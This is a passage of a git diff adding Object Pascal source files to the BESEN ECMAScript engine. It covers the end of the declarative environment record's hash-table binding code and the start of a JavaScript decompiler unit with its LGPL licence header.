SetIndexValue(const I,ID:integer;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; override; + procedure GetIndexValue(const I,ID:integer;const S:TBESENBoolean;var R:TBESENValue); override; + function DeleteIndex(const I,ID:integer):TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN,BESENHashUtils,BESENErrors; + +constructor TBESENDeclarativeEnvironmentRecord.Create(AInstance:TObject); +var Hash:TBESENHash; +begin + inherited Create(AInstance); + FillChar(HashBuckets,sizeof(TBESENDeclarativeEnvironmentRecordHashBuckets),#0); + First:=nil; + Last:=nil; + HashSize:=256; + HashSizeMask:=HashSize-1; + HashedItems:=0; + HashBucketsUsed:=0; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + HashIndexes:=TBESENPointerList.Create; + HashIndexNames:=TBESENStringList.Create; + HashIndexIDs:=TBESENIntegerList.Create; + HashValues:=nil; + Touched:=false; + IndexInitialized:=false; + LastUsedItem:=nil; + RecordType:=BESENEnvironmentRecordTypeDeclarative; +end; + +destructor TBESENDeclarativeEnvironmentRecord.Destroy; +begin + Clear; + SetLength(HashValues,0); + SetLength(HashBuckets,0); + HashIndexes.Free; + HashIndexNames.Free; + HashIndexIDs.Free; + inherited Destroy; +end; + +procedure TBESENDeclarativeEnvironmentRecord.Clear; +var Hash:TBESENHash; + Item,NextItem:PBESENDeclarativeEnvironmentRecordHashItem; +begin + Item:=First; + while assigned(Item) do begin + NextItem:=Item^.Next; + Item^.Previous:=nil; + Item^.Next:=nil; + Item^.Key:=''; + Item^.Value.ValueType:=bvtUNDEFINED; + Dispose(Item); + Item:=NextItem; + end; + First:=nil; + Last:=nil; + LastUsedItem:=nil; + HashSize:=256; + HashSizeMask:=HashSize-1; + HashedItems:=0; + HashBucketsUsed:=0; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + HashIndexes.Clear; + HashIndexNames.Clear; + HashIndexIDs.Clear; + SetLength(HashValues,0); + Touched:=false; + IndexInitialized:=false; +end; + +procedure TBESENDeclarativeEnvironmentRecord.Reset; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + Item:=First; + while assigned(Item) do begin + Item^.Value.ValueType:=bvtUNDEFINED; + Item^.Initialized:=Item^.Mutable; + Item:=Item^.Next; + end; + Touched:=false; +end; + +procedure TBESENDeclarativeEnvironmentRecord.GrowAndRehashIfNeeded; +var Hash:TBESENHash; + Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + if (HashSize<BESENHashMaxSize) and (HashedItems>=(HashBucketsUsed*BESENHashItemsPerBucketsThreshold)) then begin + LastUsedItem:=nil; + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + inc(HashSize,HashSize); + if HashSize>BESENHashMaxSize then begin + HashSize:=BESENHashMaxSize; + end; + HashSizeMask:=HashSize-1; + SetLength(HashBuckets,HashSize); + for Hash:=0 to HashSizeMask do begin + HashBuckets[Hash].HashFirst:=nil; + HashBuckets[Hash].HashLast:=nil; + end; + HashedItems:=0; + Item:=First; + while assigned(Item) do begin + inc(HashedItems); + Item^.HashPrevious:=nil; + Item^.HashNext:=nil; + Item:=Item^.Next; + end; + HashBucketsUsed:=0; + Item:=First; + while assigned(Item) do begin + Hash:=BESENHashKey(Item^.Key) and HashSizeMask; + Item^.Hash:=Hash; + if assigned(HashBuckets[Hash].HashLast) then begin + HashBuckets[Hash].HashLast^.HashNext:=Item; + Item^.HashPrevious:=HashBuckets[Hash].HashLast; + HashBuckets[Hash].HashLast:=Item; + Item^.HashNext:=nil; + end else begin + inc(HashBucketsUsed); + HashBuckets[Hash].HashFirst:=Item; + HashBuckets[Hash].HashLast:=Item; + Item^.HashPrevious:=nil; + Item^.HashNext:=nil; + end; + Item:=Item^.Next; + end; + end; +end; + +function TBESENDeclarativeEnvironmentRecord.GetKey(const Key:TBESENString;Hash:TBESENHash=0):PBESENDeclarativeEnvironmentRecordHashItem; +begin + if assigned(LastUsedItem) and (LastUsedItem^.Key=Key) then begin + result:=LastUsedItem; + Hash:=result^.Hash; + end else begin + if Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + result:=HashBuckets[Hash].HashFirst; + while assigned(result) and (result^.Key<>Key) do begin + result:=result^.HashNext; + end; + end; + if assigned(result) then begin + LastUsedItem:=result; + if HashBuckets[Hash].HashFirst<>result then begin + if assigned(result.HashPrevious) then begin + result.HashPrevious.HashNext:=result.HashNext; + end; + if assigned(result.HashNext) then begin + result.HashNext.HashPrevious:=result.HashPrevious; + end else if HashBuckets[Hash].HashLast=result then begin + HashBuckets[Hash].HashLast:=result.HashPrevious; + end; + HashBuckets[Hash].HashFirst.HashPrevious:=result; + result.HashNext:=HashBuckets[Hash].HashFirst; + result.HashPrevious:=nil; + HashBuckets[Hash].HashFirst:=result; + end; + end; +end; + +function TBESENDeclarativeEnvironmentRecord.NewKey(const Key:TBESENString;Force:boolean=false;Hash:TBESENHash=0):PBESENDeclarativeEnvironmentRecordHashItem; +begin + if Force then begin + result:=nil; + if Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + end else if assigned(LastUsedItem) and (LastUsedItem^.Key=Key) then begin + result:=LastUsedItem; + Hash:=result^.Hash; + end else begin + if Hash=0 then begin + Hash:=BESENHashKey(Key); + end; + Hash:=Hash and HashSizeMask; + result:=HashBuckets[Hash].HashFirst; + if not assigned(result) then begin + inc(HashBucketsUsed); + end; + while assigned(result) and (result^.Key<>Key) do begin + result:=result^.HashNext; + end; + end; + if not assigned(result) then begin + inc(HashedItems); + New(result); + fillchar(result^,sizeof(TBESENDeclarativeEnvironmentRecordHashItem),#0); + result^.Hash:=Hash; + result^.Key:=Key; + result^.Index:=-1; + result^.Value.ValueType:=bvtUNDEFINED; + //result^.Value:=BESENUndefinedValue; + result^.Mutable:=false; + result^.Initialized:=false; + result^.Deletion:=false; + if assigned(HashBuckets[Hash].HashLast) then begin + HashBuckets[Hash].HashLast^.HashNext:=result; + result^.HashPrevious:=HashBuckets[Hash].HashLast; + result^.HashNext:=nil; + HashBuckets[Hash].HashLast:=result; + end else begin + HashBuckets[Hash].HashFirst:=result; + HashBuckets[Hash].HashLast:=result; + result^.HashPrevious:=nil; + result^.HashNext:=nil; + end; + if assigned(Last) then begin + Last^.Next:=result; + result^.Previous:=Last; + result^.Next:=nil; + Last:=result; + end else begin + First:=result; + Last:=result; + result^.Previous:=nil; + result^.Next:=nil; + end; + LastUsedItem:=result; + end; + GrowAndRehashIfNeeded; + Touched:=true; +end; + +function TBESENDeclarativeEnvironmentRecord.DeleteKey(const Item:PBESENDeclarativeEnvironmentRecordHashItem):TBESENBoolean; +begin + result:=assigned(Item); + if result then begin + Touched:=true; + if LastUsedItem=Item then begin + if assigned(Item^.Next) then begin + LastUsedItem:=Item^.Next; + end else begin + LastUsedItem:=Item^.Previous; + end; + end; + if assigned(Item^.Previous) then begin + Item^.Previous^.Next:=Item^.Next; + end else if First=Item then begin + First:=Item^.Next; + end; + if assigned(Item^.Next) then begin + Item^.Next^.Previous:=Item^.Previous; + end else if Last=Item then begin + Last:=Item^.Previous; + end; + Item^.Next:=nil; + Item^.Previous:=nil; + if assigned(Item^.HashPrevious) then begin + Item^.HashPrevious^.HashNext:=Item^.HashNext; + end else if HashBuckets[Item^.Hash].HashFirst=Item then begin + HashBuckets[Item^.Hash].HashFirst:=Item^.HashNext; + end; + if assigned(Item^.HashNext) then begin + Item^.HashNext^.HashPrevious:=Item^.HashPrevious; + end else if HashBuckets[Item^.Hash].HashLast=Item then begin + HashBuckets[Item^.Hash].HashLast:=Item^.HashPrevious; + end; + Item^.HashNext:=nil; + Item^.HashPrevious:=nil; + Item^.Key:=''; + Item^.Value:=BESENUndefinedValue; + if Item^.Index>=0 then begin + HashIndexes[Item^.Index]:=nil; + HashValues[Item^.Index]:=@BESENDummyValue; + end; + Dispose(Item); + end; +end; + +function TBESENDeclarativeEnvironmentRecord.HasBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + result:=assigned(GetKey(N,Hash)); +end; + +function TBESENDeclarativeEnvironmentRecord.CreateMutableBinding(const N:TBESENString;const D:TBESENBoolean=false;Hash:TBESENHash=0):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + if assigned(GetKey(N,Hash)) then begin + BESENThrowTypeError('CreateMutableBinding for "'+N+'" failed'); + end; + Item:=NewKey(N,false,Hash); + Item^.Value.ValueType:=bvtUNDEFINED; + Item^.Mutable:=true; + Item^.Initialized:=false; + Item^.Deletion:=D; + result:=true; +end; + +function TBESENDeclarativeEnvironmentRecord.SetMutableBindingEx(const N:TBESENString;const V:TBESENValue;const S:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; + procedure ThrowIt; + begin + BESENThrowTypeError('SetMutableBinding for "'+N+'" failed'); + end; +begin + result:=false; + Item:=GetKey(N,Hash); + if not assigned(Item) then begin + ThrowIt; + end else if Item^.Mutable then begin + BESENCopyValue(Item^.Value,V); + Item^.Initialized:=true; + result:=true; + end else begin + if S then begin // will added/fixed in ES5 errata too + ThrowIt; + end; + end; +end; + +procedure TBESENDeclarativeEnvironmentRecord.GetBindingValueEx(const N:TBESENString;const S:TBESENBoolean;var R:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0); +var Item:PBESENDeclarativeEnvironmentRecordHashItem; + procedure ThrowUninitialized; + begin + BESENThrowReferenceError('Uninitialized immutable binding "'+N+'"'); + end; + procedure ThrowIt; + begin + BESENThrowTypeError('GetBindingValue for "'+N+'" failed'); + end; +begin + Item:=GetKey(N,Hash); + if assigned(Item) then begin + if Item^.Mutable or Item^.Initialized then begin + BESENCopyValue(R,Item^.Value); + end else begin + if S then begin + ThrowUninitialized; + end else begin + R.ValueType:=bvtUNDEFINED; + end; + end; + end else begin + ThrowIt; + end; +end; + +function TBESENDeclarativeEnvironmentRecord.DeleteBindingEx(const N:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + Item:=GetKey(N,Hash); + if assigned(Item) then begin + if Item^.Mutable and Item^.Deletion then begin + if Item^.Index>=0 then begin + HashIndexes[Item^.Index]:=nil; + HashValues[Item^.Index]:=@BESENDummyValue; + end; + DeleteKey(Item); + result:=true; + end else begin + result:=false; + end; + end else begin + result:=true; + end; +end; + +procedure TBESENDeclarativeEnvironmentRecord.UpdateImplicitThisValue; +begin + ImplicitThisValue.ValueType:=bvtUNDEFINED; + ImplicitThisValue.Obj:=nil; +end; + +function TBESENDeclarativeEnvironmentRecord.CreateImmutableBinding(const N:TBESENString;Hash:TBESENHash=0):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + if assigned(GetKey(N,Hash)) then begin + BESENThrowTypeError('CreateImmutableBinding for "'+N+'" failed'); + end; + Item:=NewKey(N,false,Hash); + Item^.Value.ValueType:=bvtUNDEFINED; + Item^.Mutable:=false; + Item^.Initialized:=false; + Item^.Deletion:=false; + result:=true; +end; + +function TBESENDeclarativeEnvironmentRecord.InitializeImmutableBinding(const N:TBESENString;const V:TBESENValue;Hash:TBESENHash=0):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + Item:=GetKey(N,Hash); + if assigned(Item) and not (Item^.Mutable or Item^.Initialized) then begin + BESENCopyValue(Item^.Value,v); + Item^.Initialized:=true; + end else begin + BESENThrowTypeError('InitializeImmutableBinding for "'+N+'" failed'); + end; + result:=true; +end; + +function TBESENDeclarativeEnvironmentRecord.SetBindingValueIndex(const N:TBESENString;const I:integer;Hash:TBESENHash=0):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + Item:=GetKey(N,Hash); + if assigned(Item) then begin + Item^.Index:=I; + HashIndexes.Insert(I,Item); + HashIndexNames.Insert(I,N); + HashIndexIDs.Insert(I,TBESEN(Instance).KeyIDManager.Get(N,Hash)); + if i>=length(HashValues) then begin + SetLength(HashValues,i+256); + end; + HashValues[i]:=@Item^.Value; + result:=true; + end else begin + result:=false; + end; +end; + +function TBESENDeclarativeEnvironmentRecord.SetIndexValue(const I,ID:integer;const V:TBESENValue;const S:TBESENBoolean):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; + procedure ThrowIt; + begin + BESENThrowTypeError('SetIndexValue for "'+inttostr(I)+'" failed'); + end; +begin + if (I>=0) and (I<HashIndexes.Count) then begin + Item:=HashIndexes[I]; + end else begin + Item:=nil; + end; + if assigned(Item) and Item^.Mutable then begin + BESENCopyValue(Item^.Value,v); + Item^.Initialized:=true; + end else begin + ThrowIt; + end; + result:=true; +end; + +procedure TBESENDeclarativeEnvironmentRecord.GetIndexValue(const I,ID:integer;const S:TBESENBoolean;var R:TBESENValue); +var Item:PBESENDeclarativeEnvironmentRecordHashItem; + procedure ThrowUninitialized; + begin + BESENThrowReferenceError('Uninitialized immutable binding "'+Item^.Key+'"'); + end; + procedure ThrowIt; + begin + BESENThrowTypeError('GetIndexValue for "'+inttostr(I)+'" failed'); + end; +begin + if (I>=0) and (I<HashIndexes.Count) then begin + Item:=HashIndexes[I]; + end else begin + Item:=nil; + end; + if assigned(Item) then begin + if Item^.Mutable or Item^.Initialized then begin + BESENCopyValue(R,Item^.Value); + end else begin + if S then begin + ThrowUninitialized; + end else begin + R.ValueType:=bvtUNDEFINED; + end; + end; + end else begin + ThrowIt; + end; +end; + +function TBESENDeclarativeEnvironmentRecord.DeleteIndex(const I,ID:integer):TBESENBoolean; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + if (I>=0) and (I<HashIndexes.Count) then begin + Item:=HashIndexes[I]; + end else begin + Item:=nil; + end; + if assigned(Item) then begin + if Item^.Mutable and Item^.Deletion then begin + HashIndexes[i]:=nil; + HashValues[i]:=@BESENDummyValue; + DeleteKey(Item); + result:=true; + end else begin + result:=false; + end; + end else begin + result:=true; + end; +end; + +procedure TBESENDeclarativeEnvironmentRecord.Finalize; +begin + Clear; + inherited Finalize; +end; + +procedure TBESENDeclarativeEnvironmentRecord.Mark; +var Item:PBESENDeclarativeEnvironmentRecordHashItem; +begin + Item:=First; + while assigned(Item) do begin + TBESEN(Instance).GarbageCollector.GrayValue(Item^.Value); + Item:=Item^.Next; + end; + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENDecompiler.pas b/Core/JS/BESENDecompiler.pas new file mode 100644 index 0000000..bd5b786 --- /dev/null +++ b/Core/JS/BESENDecompiler.pas @@ -0,0 +1,1017 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENDecompiler; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENValue,BESENBaseObject,BESENASTNodes, + BESENEvalCacheItem; + +type TBESENDecompiler=class(TBESENBaseObject) + public + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + function Decompile(RootNode:TBESENASTNode):TBESENUTF8STRING; + end; + +implementation + +uses BESEN,BESENUtils,BESENPointerList,BESENHashMap,BESENErrors,BESENNumberUtils, + BESENCode,BESENCodeGeneratorContext,BESENOpcodes,BESENHashUtils,BESENGlobals, + BESENParser,BESENStringUtils; + +constructor TBESENDecompiler.Create(AInstance:TObject); +begin + inherited Create(AInstance); +end; + +destructor TBESENDecompiler.Destroy; +begin + inherited Destroy; +end; + +function TBESENDecompiler.Decompile(RootNode:TBESENASTNode):TBESENUTF8STRING; +var Code,s:TBESENUTF8STRING; + Indent:integer; + procedure Add(s:TBESENUTF8STRING); + begin + if (((length(Code)>0) and (Code[length(Code)] in [' ',#13,#10])) or (length(Code)=0)) and ((length(s)>0) and (s[1]=' ')) then begin + delete(s,1,1); + end; + Code:=Code+s; + end; + procedure AddCRLF(s:TBESENUTF8STRING); + begin + Add(s); + Add(#13#10); + end; + procedure AddIndent; + var i:integer; + begin + if (length(Code)>0) and not (Code[length(Code)] in [' ',#13,#10]) then begin + Code:=Code+#13#10; + end; + for i:=1 to Indent do begin + Code:=Code+#9; + end; + end; + procedure Visit(ToVisit:TBESENASTNode;NeedParens:boolean=true); + var Counter:integer; + First:boolean; + begin + if assigned(ToVisit) then begin + case ToVisit.NodeType of + bntNONE:begin + end; + bntEXPRESSION:begin + end; + bntLITERAL:begin + end; + bntIDENTIFIER:begin + Add(BESENUTF16ToUTF8(TBESENASTNodeIdentifier(ToVisit).Name)); + end; + bntVARIABLEDECLARATION:begin + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Identifier); + if assigned(TBESENASTNodeVariableDeclaration(ToVisit).Expression) then begin + Add(' = '); + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression,false); + end; + end; + bntVARIABLEEXPRESSION:begin + First:=true; + Add('var '); + First:=true; + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + if First then begin + First:=false; + end else begin + Add(', '); + end; + Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter]); + end; + end; + bntFUNCTIONBODY:begin + if length(TBESENASTNodeFunctionBody(ToVisit).Variables)>0 then begin + First:=true; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Variables)-1 do begin + if not (TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].IsParameter or TBESENASTNodeFunctionBody(ToVisit).Variables[Counter].IsReached) then begin + if First then begin + AddIndent; + Add('var '); + First:=false; + end else begin + Add(', '); + end; + Visit(TBESENASTNodeFunctionBody(ToVisit).Variables[Counter]); + end; + end; + if not First then begin + Add(';'); + end; + end; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Functions)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]); + end; + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter]); + end; + end; + bntFUNCTIONLITERAL:begin + if assigned(TBESENASTNodeFunctionLiteral(ToVisit).Name) then begin + AddIndent; + Add('function '); + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Name); + end else begin + Add('function'); + end; + Add('('); + for Counter:=0 to length(TBESENASTNodeFunctionLiteral(ToVisit).Body.Parameters)-1 do begin + if Counter>0 then begin + Add(', '); + end; + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body.Parameters[Counter]); + end; + AddCRLF(') {'); + inc(Indent); + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body); + dec(Indent); + AddIndent; + Add('}'); + end; + bntSTATEMENT:begin + Add(';'); + end; + bntVARIABLESTATEMENT:begin + AddIndent; + Add('var '); + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + if Counter>0 then begin + Add(', '); + end; + Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter]); + end; + Add(';'); + end; + bntFUNCTIONDECLARATION:begin + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + AddIndent; + Visit(TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal); + Add(';'); + end; + end; + bntEXPRESSIONSTATEMENT:begin + AddIndent; + Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression,false); + Add(';'); + end; + bntEMPTYSTATEMENT:begin + end; + bntBLOCKSTATEMENT:begin + AddIndent; + Add('{'); + inc(Indent); + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter]); + end; + dec(Indent); + AddIndent; + Add('}'); + end; + bntDEBUGGERSTATEMENT:begin + AddIndent; + Add('debugger;'); + end; + bntBREAKSTATEMENT:begin + AddIndent; + if assigned(TBESENASTNodeBreakStatement(ToVisit).Identifier) then begin + Add('break '); + Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier); + AddCRLF(';'); + end else begin + Add('break;'); + end; + end; + bntCONTINUESTATEMENT:begin + AddIndent; + if assigned(TBESENASTNodeContinueStatement(ToVisit).Identifier) then begin + Add('continue '); + Visit(TBESENASTNodeContinueStatement(ToVisit).Identifier); + AddCRLF(';'); + end else begin + Add('continue;'); + end; + end; + bntDOSTATEMENT:begin + AddIndent; + Add('do'); + Visit(TBESENASTNodeDoStatement(ToVisit).Statement); + Add('while('); + Visit(TBESENASTNodeDoStatement(ToVisit).Expression,false); + AddCRLF(');'); + end; + bntWHILESTATEMENT:begin + AddIndent; + Add('while('); + Visit(TBESENASTNodeWhileStatement(ToVisit).Expression,false); + Add(')'); + Visit(TBESENASTNodeWhileStatement(ToVisit).Statement); + end; + bntWITHSTATEMENT:begin + AddIndent; + Add('with('); + Visit(TBESENASTNodeWithStatement(ToVisit).Expression,false); + Add(')'); + Visit(TBESENASTNodeWithStatement(ToVisit).Statement); + end; + bntFORSTATEMENT:begin + AddIndent; + Add('for('); + Visit(TBESENASTNodeForStatement(ToVisit).Initial); + Add(';'); + Visit(TBESENASTNodeForStatement(ToVisit).Condition); + Add(';'); + Visit(TBESENASTNodeForStatement(ToVisit).Increment); + Add(')'); + Visit(TBESENASTNodeForStatement(ToVisit).Statement); + end; + bntFORINSTATEMENT:begin + AddIndent; + Add('for('); + if assigned(TBESENASTNodeForInStatement(ToVisit).Variable) and (TBESENASTNodeForInStatement(ToVisit).Variable.NodeType=bntVARIABLEDECLARATION) then begin + Add('var '); + end; + Visit(TBESENASTNodeForInStatement(ToVisit).Variable); + Add(' in '); + Visit(TBESENASTNodeForInStatement(ToVisit).Expression); + Add(')'); + Visit(TBESENASTNodeForInStatement(ToVisit).Statement); + end; + bntIFSTATEMENT:begin + AddIndent; + Add('if('); + Visit(TBESENASTNodeIfStatement(ToVisit).Expression,false); + AddCRLF(')'); + inc(Indent); + Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement); + dec(Indent); + if assigned(TBESENASTNodeIfStatement(ToVisit).FalseStatement) then begin + AddCRLF(''); + AddIndent; + Add('else'); + inc(Indent); + Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement); + dec(Indent); + AddCRLF(''); + end; + end; + bntLABELLEDSTATEMENT:begin + AddIndent; + for Counter:=0 to length(TBESENASTNodeLabelledStatement(ToVisit).Identifiers)-1 do begin + Visit(TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter]); + AddCRLF(': '); + end; + Visit(TBESENASTNodeLabelledStatement(ToVisit).Statement); + end; + bntCASESTATEMENT:begin + AddIndent; + if assigned(TBESENASTNodeCaseStatement(ToVisit).Expression) then begin + Add('case '); + Visit(TBESENASTNodeCaseStatement(ToVisit).Expression,false); + end else begin + Add('default'); + end; + AddCRLF(':'); + inc(Indent); + for Counter:=0 to length(TBESENASTNodeCaseStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Statements[Counter]); + end; + dec(Indent); + end; + bntSWITCHSTATEMENT:begin + AddIndent; + Add('switch('); + Visit(TBESENASTNodeSwitchStatement(ToVisit).Expression,false); + AddCRLF(') {'); + inc(Indent); + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter]); + end; + dec(Indent); + AddIndent; + Add('}'); + end; + bntTHROWSTATEMENT:begin + AddIndent; + Add('throw '); + Visit(TBESENASTNodeThrowStatement(ToVisit).Expression,false); + AddCRLF(';'); + end; + bntTRYSTATEMENT:begin + AddIndent; + Add('try'); + Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock); + if assigned(TBESENASTNodeTryStatement(ToVisit).CatchBlock) then begin + AddIndent; + Add('catch('); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier,false); + Add(')'); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock); + end; + if assigned(TBESENASTNodeTryStatement(ToVisit).FinallyBlock) then begin + AddIndent; + Add('finally'); + Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock); + end; + end; + bntARRAYLITERAL:begin + Add('['); + for Counter:=0 to length(TBESENASTNodeArrayLiteral(ToVisit).Elements)-1 do begin + if Counter>0 then begin + Add(', '); + end; + Visit(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]); + end; + Add(']'); + end; + bntBINARYEXPRESSION:begin + Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression); + Add(' = '); + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression); + Add(' *= '); + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression); + Add(' /= '); + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTMODULOEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression); + Add(' %= '); + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTPLUSEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression); + Add(' += '); + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTMINUSEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression); + Add(' -= '); + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression); + Add(' <<= '); + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression); + Add(' >>= '); + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression); + Add(' >>>= '); + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression); + Add(' &= '); + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression); + Add(' ^= '); + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression); + if NeedParens then begin + Add(')'); + end; + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + if NeedParens then begin + Add('('); + end; + Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression); + Add(' |= '); + 